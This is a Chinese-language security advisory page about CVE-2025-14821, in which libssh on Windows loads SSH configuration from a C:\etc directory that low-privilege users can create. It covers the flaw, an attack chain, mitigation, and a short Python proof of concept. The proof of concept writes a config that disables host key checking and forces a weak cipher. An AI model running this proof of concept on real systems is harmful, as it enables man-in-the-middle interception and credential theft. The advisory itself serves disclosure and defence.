IPBUF安全漏洞报告
English
CVE-2025-14821 CVSS 7.8 高危

CVE-2025-14821 libssh本地配置劫持漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2025-14821
漏洞类型
配置缺陷
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
libssh

相关标签

libssh配置缺陷中间人攻击本地提权Windows

漏洞概述

libssh在Windows系统上存在安全漏洞,由于不安全的默认配置,库会自动从C:\etc目录加载配置文件。非特权本地用户可在此目录下创建或修改文件,从而实施本地中间人攻击、降级SSH连接安全性或篡改受信任主机信息,严重威胁SSH通信的机密性、完整性和可用性。

技术细节

该漏洞的根本原因在于libssh库在Windows环境下的默认配置加载路径存在设计缺陷。具体而言,libssh在初始化时会自动扫描并加载位于C:\etc目录下的SSH配置文件(如ssh_config)。在Windows系统中,标准的用户权限通常允许非管理员用户在C盘根目录下创建新目录。因此,低权限的本地攻击者可以创建C:\etc路径,并在其中写入恶意配置文件。当系统上的服务或应用程序尝试建立SSH连接时,libssh会读取这些恶意配置。攻击者可以通过配置指令禁用严格的主机密钥检查、强制使用弱加密算法,或者利用ProxyCommand将流量重定向到攻击者控制的服务器。这种机制绕过了SSH的信任模型,使得攻击者能够窃取凭据、截获数据或注入恶意指令。

攻击链分析

STEP 1
1. 本地访问
攻击者获得Windows系统的低权限用户访问权限。
STEP 2
2. 创建目录
攻击者在C盘根目录下创建C:\etc目录(如果不存在)。
STEP 3
3. 写入配置
攻击者在C:\etc目录下创建或修改ssh_config文件,写入恶意配置(如禁用主机密钥检查)。
STEP 4
4. 触发加载
当系统用户或服务使用libssh库建立SSH连接时,库自动加载恶意配置文件。
STEP 5
5. 实施攻击
利用加载的恶意配置,攻击者绕过安全验证,实施中间人攻击或降级加密。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os # Target directory vulnerable on Windows target_dir = "C:\\etc" target_file = os.path.join(target_dir, "ssh_config") # Create the directory if it doesn't exist if not os.path.exists(target_dir): try: os.makedirs(target_dir) print(f"[+] Directory created: {target_dir}") except Exception as e: print(f"[-] Failed to create directory: {e}") exit(1) # Malicious configuration to downgrade security or MITM # Example: Disable strict host key checking and use a weak cipher malicious_config = """ Host * StrictHostKeyChecking no UserKnownHostsFile /dev/null Ciphers aes128-cbc """ # Write the malicious config with open(target_file, 'w') as f: f.write(malicious_config) print(f"[+] Malicious config written to {target_file}")

影响范围

libssh < 0.11.4
libssh < 0.12.0

防御指南

临时缓解措施
建议立即升级到修复版本的libssh。如果不能立即升级,应限制Windows系统本地用户对C盘根目录的写入权限,防止创建C:\etc目录,并检查该路径是否存在异常配置文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表